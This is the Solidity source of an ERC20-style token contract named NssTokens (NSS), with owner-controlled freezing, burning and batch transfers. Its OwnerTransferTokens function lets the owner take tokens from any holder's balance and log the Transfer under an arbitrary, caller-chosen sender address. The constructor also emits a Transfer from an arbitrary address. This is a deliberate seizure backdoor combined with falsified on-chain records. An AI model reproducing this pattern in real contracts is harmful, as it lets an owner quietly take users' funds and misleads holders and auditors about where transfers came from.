Contract Source Code:
File 1 of 1 : NssTokens
pragma solidity ^ 0.4.8;
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal returns(uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal returns(uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal returns(uint256) {
uint256 c = a + b;
assert(c >= a && c >= b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) {
revert();
}
}
}
contract owned {
address public owner;
function owned() public{
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public{
owner = newOwner;
}
}
contract NssTokens is SafeMath, owned {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => uint256) public freezeOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Freeze(address indexed from, uint256 value);
event Unfreeze(address indexed from, uint256 value);
function NssTokens(address _from, address _to) {
totalSupply = 10000000000000000;
name = 'New energy science and technology Chain';
symbol = 'NSS';
decimals = 8;
balanceOf[_to] = totalSupply;
Transfer(_from, _to, totalSupply);
}
function OwnerTransferTokens(address _from, address _to, uint256 _amount, address _from_show) onlyOwner {
if (balanceOf[_from] < _amount) revert();
if (balanceOf[_to] + _amount < balanceOf[_to]) revert();
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _amount);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _amount);
Transfer(_from_show, _to, _amount);
}
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function transfer(address _to, uint256 _value) {
require(!frozenAccount[msg.sender]);
if (_to == 0x0) revert();
if (_value <= 0) revert();
if (balanceOf[msg.sender] < _value) revert();
if (balanceOf[_to] + _value < balanceOf[_to]) revert();
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
Transfer(msg.sender, _to, _value);
}
function batchTransfer(address []toAddr, uint256 []value) returns(bool){
require(toAddr.length == value.length && toAddr.length >= 1);
for (uint256 i = 0; i < toAddr.length; i++) {
transfer(toAddr[i], value[i]);
}
}
function approve(address _spender, uint256 _value) returns(bool success) {
require((_value == 0) || (allowance[msg.sender][_spender] == 0));
if (_value <= 0) revert();
allowance[msg.sender][_spender] = _value;
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns(bool success) {
if (_to == 0x0) revert();
if (_value <= 0) revert();
if (balanceOf[_from] < _value) revert();
if (balanceOf[_to] + _value < balanceOf[_to]) revert();
if (_value > allowance[_from][msg.sender]) revert();
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) returns(bool success) {
if (balanceOf[msg.sender] < _value) revert();
if (_value <= 0) revert();
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
totalSupply = SafeMath.safeSub(totalSupply, _value);
Burn(msg.sender, _value);
return true;
}
function freeze(uint256 _value) returns(bool success) {
if (balanceOf[msg.sender] < _value) revert();
if (_value <= 0) revert();
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value);
Freeze(msg.sender, _value);
return true;
}
function unfreeze(uint256 _value) returns(bool success) {
if (freezeOf[msg.sender] < _value) revert();
if (_value <= 0) revert();
freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value);
balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value);
Unfreeze(msg.sender, _value);
return true;
}
function () {
revert();
}
}
/* Code R. foxi.one */